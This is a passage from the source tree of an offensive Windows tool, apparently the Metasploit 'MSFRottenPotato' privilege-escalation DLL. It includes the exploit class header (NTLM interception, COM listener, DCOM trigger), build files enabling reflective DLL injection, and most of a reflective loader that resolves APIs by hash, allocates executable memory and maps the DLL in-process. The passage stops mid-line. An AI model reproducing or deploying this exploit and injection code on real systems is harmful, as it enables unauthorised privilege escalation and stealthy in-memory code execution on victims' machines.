defined on the command line. This symbol should not be defined on any project 4 | // that uses this DLL. This way any other project whose source files include this file see 5 | // MSFROTTENPOTATO_API functions as being imported from a DLL, whereas this DLL sees symbols 6 | // defined with this macro as being exported. 7 | #ifdef MSFROTTENPOTATO_EXPORTS 8 | #define MSFROTTENPOTATO_API __declspec(dllexport) 9 | #else 10 | #define MSFROTTENPOTATO_API __declspec(dllimport) 11 | #endif 12 | #include "Objidl.h" 13 | #include "BlockingQueue.h" 14 | #include "LocalNegotiator.h" 15 | 16 | // This class is exported from the MSFRottenPotato.dll 17 | class MSFROTTENPOTATO_API CMSFRottenPotato { 18 | private: 19 | BlockingQueue* comSendQ; 20 | BlockingQueue* rpcSendQ; 21 | static DWORD WINAPI staticStartRPCConnection(void * Param); 22 | static DWORD WINAPI staticStartCOMListener(void * Param); 23 | static int newConnection; 24 | int processNtlmBytes(char* bytes, int len); 25 | int findNTLMBytes(char * bytes, int len); 26 | 27 | public: 28 | CMSFRottenPotato(void); 29 | int startRPCConnection(void); 30 | DWORD startRPCConnectionThread(); 31 | DWORD startCOMListenerThread(); 32 | int startCOMListener(void); 33 | int triggerDCOM(); 34 | LocalNegotiator *negotiator; 35 | }; 36 | -------------------------------------------------------------------------------- /MSFRottenPotato/MSFRottenPotato.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {4164003E-BA47-4A95-8586-D5AAC399C050} 23 | Win32Proj 24 | MSFRottenPotato 25 | 10.0.17134.0 26 | 27 | 28 | 29 | DynamicLibrary 30 | true 31 | v141 32 | Unicode 33 | 34 | 35 | DynamicLibrary 36 | false 37 | v141 38 | true 39 | Unicode 40 | 41 | 42 | DynamicLibrary 43 | true 44 | v141 45 | Unicode 46 | 47 | 48 | DynamicLibrary 49 | false 50 | v141 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | Use 87 | Level3 88 | Disabled 89 | WIN32;_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 90 | true 91 | MultiThreaded 92 | 93 | 94 | Windows 95 | true 96 | secur32.lib;%(AdditionalDependencies) 97 | 98 | 99 | 100 | 101 | Use 102 | Level3 103 | Disabled 104 | _DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 105 | true 106 | MultiThreaded 107 | 108 | 109 | Windows 110 | true 111 | secur32.lib;%(AdditionalDependencies) 112 | true 113 | 114 | 115 | 116 | 117 | Level3 118 | NotUsing 119 | MaxSpeed 120 | true 121 | true 122 | WIN32;NDEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 123 | true 124 | MultiThreaded 125 | 126 | 127 | Windows 128 | true 129 | true 130 | true 131 | secur32.lib;%(AdditionalDependencies) 132 | 133 | 134 | 135 | 136 | Level3 137 | NotUsing 138 | MaxSpeed 139 | true 140 | true 141 | NDEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) 142 | true 143 | MultiThreaded 144 | 145 | 146 | Windows 147 | true 148 | true 149 | true 150 | secur32.lib;%(AdditionalDependencies) 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | false 169 | 170 | 171 | false 172 | 173 | 174 | false 175 | 176 | 177 | false 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | Create 187 | Create 188 | Create 189 | Create 190 | 191 | 192 | 193 | 194 | 195 | -------------------------------------------------------------------------------- /MSFRottenPotato/MSFRottenPotato.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | Header Files 35 | 36 | 37 | Header Files 38 | 39 | 40 | Header Files 41 | 42 | 43 | Header Files 44 | 45 | 46 | 47 | 48 | Source Files 49 | 50 | 51 | Source Files 52 | 53 | 54 | Source Files 55 | 56 | 57 | Source Files 58 | 59 | 60 | Source Files 61 | 62 | 63 | Source Files 64 | 65 | 66 | -------------------------------------------------------------------------------- /MSFRottenPotato/MSFRottenPotato.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /MSFRottenPotato/ReflectiveDllInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR(WINAPI * REFLECTIVELOADER)(VOID); 45 | typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | //===============================================================================================// 50 | #endif 51 | //===============================================================================================// 52 | #pragma once 53 | -------------------------------------------------------------------------------- /MSFRottenPotato/ReflectiveLoader.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | //===============================================================================================// 33 | #pragma intrinsic( _ReturnAddress ) 34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 37 | // available (and no inline asm available under x64). 38 | __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); } 39 | //===============================================================================================// 40 | 41 | #ifdef ENABLE_OUTPUTDEBUGSTRING 42 | #define OUTPUTDBG(str) pOutputDebug((LPCSTR)str) 43 | #else /* ENABLE_OUTPUTDEBUGSTRING */ 44 | #define OUTPUTDBG(str) do{}while(0) 45 | #endif 46 | 47 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 48 | // otherwise the DllMain at the end of this file will be used. 49 | 50 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 51 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 52 | 53 | // This is our position independent reflective DLL loader/injector 54 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 55 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) 56 | #else 57 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) 58 | #endif 59 | { 60 | // the functions we need 61 | LOADLIBRARYA pLoadLibraryA = NULL; 62 | GETPROCADDRESS pGetProcAddress = NULL; 63 | VIRTUALALLOC pVirtualAlloc = NULL; 64 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 65 | #ifdef ENABLE_STOPPAGING 66 | VIRTUALLOCK pVirtualLock = NULL; 67 | #endif 68 | #ifdef ENABLE_OUTPUTDEBUGSTRING 69 | OUTPUTDEBUG pOutputDebug = NULL; 70 | #endif 71 | 72 | USHORT usCounter; 73 | 74 | // the initial location of this image in memory 75 | ULONG_PTR uiLibraryAddress; 76 | // the kernels base address and later this images newly loaded base address 77 | ULONG_PTR uiBaseAddress; 78 | 79 | // variables for processing the kernels export table 80 | ULONG_PTR uiAddressArray; 81 | ULONG_PTR uiNameArray; 82 | ULONG_PTR uiExportDir; 83 | ULONG_PTR uiNameOrdinals; 84 | DWORD dwHashValue; 85 | 86 | // variables for loading this image 87 | ULONG_PTR uiHeaderValue; 88 | ULONG_PTR uiValueA; 89 | ULONG_PTR uiValueB; 90 | ULONG_PTR uiValueC; 91 | ULONG_PTR uiValueD; 92 | ULONG_PTR uiValueE; 93 | 94 | // STEP 0: calculate our images current base address 95 | 96 | // we will start searching backwards from our callers return address. 97 | uiLibraryAddress = caller(); 98 | 99 | // loop through memory backwards searching for our images base address 100 | // we dont need SEH style search as we shouldnt generate any access violations with this 101 | while (TRUE) 102 | { 103 | if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) 104 | { 105 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 106 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 107 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 108 | if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) 109 | { 110 | uiHeaderValue += uiLibraryAddress; 111 | // break if we have found a valid MZ/PE header 112 | if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) 113 | break; 114 | } 115 | } 116 | uiLibraryAddress--; 117 | } 118 | 119 | // STEP 1: process the kernels exports for the functions our loader needs... 120 | 121 | // get the Process Enviroment Block 122 | #ifdef _WIN64 123 | uiBaseAddress = __readgsqword(0x60); 124 | #else 125 | #ifdef WIN_ARM 126 | uiBaseAddress = *(DWORD *)((BYTE *)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); 127 | #else _WIN32 128 | uiBaseAddress = __readfsdword(0x30); 129 | #endif 130 | #endif 131 | 132 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 133 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 134 | 135 | // get the first entry of the InMemoryOrder module list 136 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 137 | while (uiValueA) 138 | { 139 | // get pointer to current modules name (unicode string) 140 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 141 | // set bCounter to the length for the loop 142 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 143 | // clear uiValueC which will store the hash of the module name 144 | uiValueC = 0; 145 | 146 | // compute the hash of the module name... 147 | ULONG_PTR tmpValC = uiValueC; 148 | do 149 | { 150 | tmpValC = ror((DWORD)tmpValC); 151 | // normalize to uppercase if the module name is in lowercase 152 | if (*((BYTE *)uiValueB) >= 'a') 153 | tmpValC += *((BYTE *)uiValueB) - 0x20; 154 | else 155 | tmpValC += *((BYTE *)uiValueB); 156 | uiValueB++; 157 | } while (--usCounter); 158 | uiValueC = tmpValC; 159 | 160 | // compare the hash with that of kernel32.dll 161 | if ((DWORD)uiValueC == KERNEL32DLL_HASH) 162 | { 163 | // get this modules base address 164 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 165 | 166 | // get the VA of the modules NT Header 167 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 168 | 169 | // uiNameArray = the address of the modules export directory entry 170 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 171 | 172 | // get the VA of the export directory 173 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 174 | 175 | // get the VA for the array of name pointers 176 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); 177 | 178 | // get the VA for the array of name ordinals 179 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); 180 | 181 | usCounter = 3; 182 | #ifdef ENABLE_STOPPAGING 183 | usCounter++; 184 | #endif 185 | #ifdef ENABLE_OUTPUTDEBUGSTRING 186 | usCounter++; 187 | #endif 188 | 189 | // loop while we still have imports to find 190 | while (usCounter > 0) 191 | { 192 | // compute the hash values for this function name 193 | dwHashValue = _hash((char *)(uiBaseAddress + DEREF_32(uiNameArray))); 194 | 195 | // if we have found a function we want we get its virtual address 196 | if (dwHashValue == LOADLIBRARYA_HASH 197 | || dwHashValue == GETPROCADDRESS_HASH 198 | || dwHashValue == VIRTUALALLOC_HASH 199 | #ifdef ENABLE_STOPPAGING 200 | || dwHashValue == VIRTUALLOCK_HASH 201 | #endif 202 | #ifdef ENABLE_OUTPUTDEBUGSTRING 203 | || dwHashValue == OUTPUTDEBUG_HASH 204 | #endif 205 | ) 206 | { 207 | // get the VA for the array of addresses 208 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 209 | 210 | // use this functions name ordinal as an index into the array of name pointers 211 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 212 | 213 | // store this functions VA 214 | if (dwHashValue == LOADLIBRARYA_HASH) 215 | pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); 216 | else if (dwHashValue == GETPROCADDRESS_HASH) 217 | pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); 218 | else if (dwHashValue == VIRTUALALLOC_HASH) 219 | pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); 220 | #ifdef ENABLE_STOPPAGING 221 | else if (dwHashValue == VIRTUALLOCK_HASH) 222 | pVirtualLock = (VIRTUALLOCK)(uiBaseAddress + DEREF_32(uiAddressArray)); 223 | #endif 224 | #ifdef ENABLE_OUTPUTDEBUGSTRING 225 | else if (dwHashValue == OUTPUTDEBUG_HASH) 226 | pOutputDebug = (OUTPUTDEBUG)(uiBaseAddress + DEREF_32(uiAddressArray)); 227 | #endif 228 | 229 | // decrement our counter 230 | usCounter--; 231 | } 232 | 233 | // get the next exported function name 234 | uiNameArray += sizeof(DWORD); 235 | 236 | // get the next exported function name ordinal 237 | uiNameOrdinals += sizeof(WORD); 238 | } 239 | } 240 | else if ((DWORD)uiValueC == NTDLLDLL_HASH) 241 | { 242 | // get this modules base address 243 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 244 | 245 | // get the VA of the modules NT Header 246 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 247 | 248 | // uiNameArray = the address of the modules export directory entry 249 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 250 | 251 | // get the VA of the export directory 252 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 253 | 254 | // get the VA for the array of name pointers 255 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); 256 | 257 | // get the VA for the array of name ordinals 258 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); 259 | 260 | usCounter = 1; 261 | 262 | // loop while we still have imports to find 263 | while (usCounter > 0) 264 | { 265 | // compute the hash values for this function name 266 | dwHashValue = _hash((char *)(uiBaseAddress + DEREF_32(uiNameArray))); 267 | 268 | // if we have found a function we want we get its virtual address 269 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) 270 | { 271 | // get the VA for the array of addresses 272 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 273 | 274 | // use this functions name ordinal as an index into the array of name pointers 275 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 276 | 277 | // store this functions VA 278 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) 279 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); 280 | 281 | // decrement our counter 282 | usCounter--; 283 | } 284 | 285 | // get the next exported function name 286 | uiNameArray += sizeof(DWORD); 287 | 288 | // get the next exported function name ordinal 289 | uiNameOrdinals += sizeof(WORD); 290 | } 291 | } 292 | 293 | // we stop searching when we have found everything we need. 294 | if (pLoadLibraryA 295 | && pGetProcAddress 296 | && pVirtualAlloc 297 | #ifdef ENABLE_STOPPAGING 298 | && pVirtualLock 299 | #endif 300 | && pNtFlushInstructionCache 301 | #ifdef ENABLE_OUTPUTDEBUGSTRING 302 | && pOutputDebug 303 | #endif 304 | ) 305 | break; 306 | 307 | // get the next entry 308 | uiValueA = DEREF(uiValueA); 309 | } 310 | 311 | // STEP 2: load our image into a new permanent location in memory... 312 | 313 | // get the VA of the NT Header for the PE to be loaded 314 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 315 | 316 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 317 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 318 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 319 | 320 | #ifdef ENABLE_STOPPAGING 321 | // prevent our image from being swapped to the pagefile 322 | pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage); 323 | #endif 324 | 325 | // we must now copy over the headers 326 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 327 | uiValueB = uiLibraryAddress; 328 | uiValueC = uiBaseAddress; 329 | 330 | while (uiValueA--) 331 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 332 | 333 | // STEP 3: load in all of our sections... 334 | 335 | // uiValueA = the VA of the first section 336 | uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); 337 | 338 | // itterate through all sections, loading them into memory. 339 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 340 | while (uiValueE--) 341 | { 342 | // uiValueB is the VA for this section 343 | uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); 344 | 345 | // uiValueC if the VA for this sections data 346 | uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); 347 | 348 | // copy the section over 349 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 350 | 351 | while (uiValueD--) 352 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 353 | 354 | // get the VA of the next section 355 | uiValueA += sizeof(IMAGE_SECTION_HEADER); 356 | } 357 | 358 | // STEP 4: process our images import table... 359 | 360 | // uiValueB = the address of the import directory 361 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 362 | 363 | // we assume there is an import table to process 364 | // uiValueC is the first entry in the import table 365 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 366 | 367 | // iterate through all imports until a null RVA is found (Characteristics is mis-named) 368 | while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics) 369 | { 370 | OUTPUTDBG("Loading library: "); 371 | OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); 372 | OUTPUTDBG("\n"); 373 | 374 | // use LoadLibraryA to load the imported module into memory 375 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); 376 | 377 | if (!uiLibraryAddress) 378 | { 379 | OUTPUTDBG("Loading library FAILED\n"); 380 | 381 | uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); 382 | continue; 383 | } 384 | 385 | // uiValueD = VA of the OriginalFirstThunk 386 | uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); 387 | 388 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 389 | uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); 390 | 391 | // itterate through all imported functions, importing by ordinal if no name present 392 | while (DEREF(uiValueA)) 393 | { 394 | // sanity check uiValueD as some compilers only import by FirstThunk 395 | if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) 396 | { 397 | // get the VA of the modules NT Header 398 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 399 | 400 | // uiNameArray = the address of the modules export directory entry 401 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 402 | 403 | // get the VA of the export directory 404 | uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); 405 | 406 | // get the VA for the array of addresses 407 | uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); 408 | 409 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 410 | uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); 411 | 412 | // patch in the address for this imported function 413 | DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); 414 | } 415 | else 416 | { 417 | // get the VA of this functions import by name struct 418 | uiValueB = (uiBaseAddress + DEREF(uiValueA)); 419 | 420 | OUTPUTDBG("Resolving function: "); 421 | OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); 422 | OUTPUTDBG("\n"); 423 | 424 | // use GetProcAddress and patch in the address for this imported function 425 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); 426 | } 427 | // get the next imported function 428 | uiValueA += sizeof(ULONG_PTR); 429 | if (uiValueD) 430 | uiValueD += sizeof(ULONG_PTR); 431 | } 432 | 433 | // get the next import 434 | uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); 435 | } 436 | 437 | // STEP 5: process all of our images relocations... 438 | 439 | // calculate the base address delta and perform relocations (even if we load at desired image base) 440 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 441 | 442 | // uiValueB = the address of the relocation directory 443 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 444 | 445 | // check if their are any relocations present 446 | if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) 447 | { 448 | uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock; 449 | 450 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 451 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); 452 | 453 | // and we itterate through all entries... 454 | while (uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) 455 | { 456 | // uiValueA = the VA for this relocation block 457 | uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); 458 | 459 | // uiValueB = number of entries in this relocation block 460 | uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); 461 | 462 | // uiValueD is now the first entry in the current relocation block 463 | uiValueD = uiValueC + 